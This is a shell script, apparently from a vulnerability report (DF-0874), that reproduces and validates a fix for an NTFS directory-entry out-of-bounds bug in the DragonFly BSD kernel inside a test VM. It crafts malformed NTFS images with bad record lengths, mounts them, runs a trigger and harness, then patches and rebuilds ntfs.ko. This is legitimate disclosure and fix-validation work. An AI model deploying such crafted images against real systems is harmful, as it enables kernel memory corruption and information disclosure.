DF-0874 / run.sh
#!/bin/sh # DF-0874 run -- end-to-end reproduction + fix validation on the DragonFly guest. # # This script drives the FULL procedure: # 1. (root) craft + stage the NTFS images # 2. (root) mount the reclen=0 image (the deterministic live-GENERIC trigger) # 3. (maxx) readdir -> observe the 256+ duplicate-dirent flood (BUG) # 4. (maxx) run the deterministic harness (code-level proof of the OOB walk) # 5. (root) build + hot-swap the patched ntfs.ko # 6. (maxx) re-run readdir -> EINVAL, flood GONE (FIXED) # 7. (maxx) regression: clean image still reads correctly # # Precondition: the DragonFly guest is up on the `with-src` base (#0 unpatched) # via dfbsd-qemu/vm.sh. vfs.usermount=0 -> root mounts, maxx readdir's (matches # the AGENT.md realistic threat model: admin mounts the image). # # Usage: ./run.sh # from a host with vm.sh + scp -F config VM="${VM:-./dfbsd-qemu/vm.sh}" SCP="scp -F dfbsd-qemu/config" set -e cd "$(dirname "$0")" echo "[1] craft NTFS trigger images (reclen=0 flood, reclen=0xFFF0 OOB, clean)" python3 craft_img.py /tmp/_panic.img --mode panic >/dev/null # hybrid base (DF-0873 known-mountable) + DF-0874 evil entries: python3 - <<'PY' import importlib.util spec = importlib.util.spec_from_file_location("c874", "craft_img.py") c874 = importlib.util.module_from_spec(spec); spec.loader.exec_module(c874) def hybrid(name, reclen, wc, num): base = bytearray(open('ntfs_0873.img','rb').read() if __import__('os').path.exists('ntfs_0873.img') else open('/tmp/_panic.img','rb').read()) # fall back to DF-0873's escalate image as the mountable base: import os for p in ['findings/poc/DF-0873/ntfs_escalate.img','../DF-0873/ntfs_escalate.img']: if os.path.exists(p): base = bytearray(open(p,'rb').read()); break e = c874.evil_entry(ie_number=num, reclen=reclen, fnamelen=len(wc), fname_wchars=wc) iroot = c874.index_root_data([e], ir_size=0x1000) attr = c874.resident_attr(c874.A_INDXROOT, len(iroot), iroot, name="$I30") rec5 = c874.mft_record(1,1,c874.NTFS_FRFLAG_DIR, attr + c874.term_attr()) off = c874.MFTCN*c874.CLU + 5*c874.RECSZ base[off:off+c874.RECSZ] = rec5 open(name,'wb').write(base) print(f" wrote {name}") hybrid('ntfs_reclen0.img', 0x0000, [0x48]*4, 0x48484848) # "HHHH" flood hybrid('ntfs_oob.img', 0xFFF0, [0x41]*4, 0x41414141) # "AAAA" OOB leap hybrid('ntfs_leak.img', 0x0060, [0x42]*4, 0x42424242) # "BBBB" OOB walk PY echo "[2] stage images + sources in guest" $VM run_root 'mkdir -p /root/poc/DF-0874' $SCP -q ntfs_reclen0.img ntfs_oob.img ntfs_leak.img dfbsd:/root/poc/DF-0874/ $VM run_user 'mkdir -p poc/DF-0874' $SCP -q trigger.c harness.c dfbsd-maxx:poc/DF-0874/ $VM run_user 'cd poc/DF-0874 && cc -O -o trigger trigger.c && cc -O2 -o harness harness.c && echo BUILT' echo "[3] BASELINE (unpatched #0): reclen=0 -> expect 256+ duplicate dirents" $VM run_root 'kldload ntfs 2>/dev/null || true; mkdir -p /mnt/t; for d in vn0 vn1; do vnconfig -u $d 2>/dev/null || true; done; vnconfig -c vn0 /root/poc/DF-0874/ntfs_reclen0.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/t && echo MOUNTED' $VM run_user 'cd poc/DF-0874 && ./trigger /mnt/t 2>&1 | tail -5; echo "entries: $(./trigger /mnt/t 2>&1 | grep -c dirent)"' echo "[4] harness (code-level proof of the unbounded walk)" $VM run_user 'cd poc/DF-0874 && ./harness 0xFFF0 0 1 2>&1 | tail -4' echo "[5] build + install patched ntfs.ko" $SCP -q fix.diff dfbsd:/root/fix.diff $VM run_root 'cd /usr/src && patch -p1 --forward < /root/fix.diff && cd sys/vfs/ntfs && make obj && make 2>&1 | tail -3 && cp /usr/obj/usr/src/sys/vfs/ntfs/ntfs.ko /boot/kernel/ntfs.ko && kldload ntfs && echo PATCHED' echo "[6] PATCHED: reclen=0 -> expect EINVAL (flood GONE)" $VM run_root 'umount /mnt/t 2>/dev/null || true; vnconfig -u vn0 2>/dev/null || true; vnconfig -c vn0 /root/poc/DF-0874/ntfs_reclen0.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/t' $VM run_user 'cd poc/DF-0874 && ./trigger /mnt/t 2>&1' echo "[7] regression: clean image still reads correctly" echo "(see VERDICT.md for the clean-image regression result)" echo "RUN_DONE" |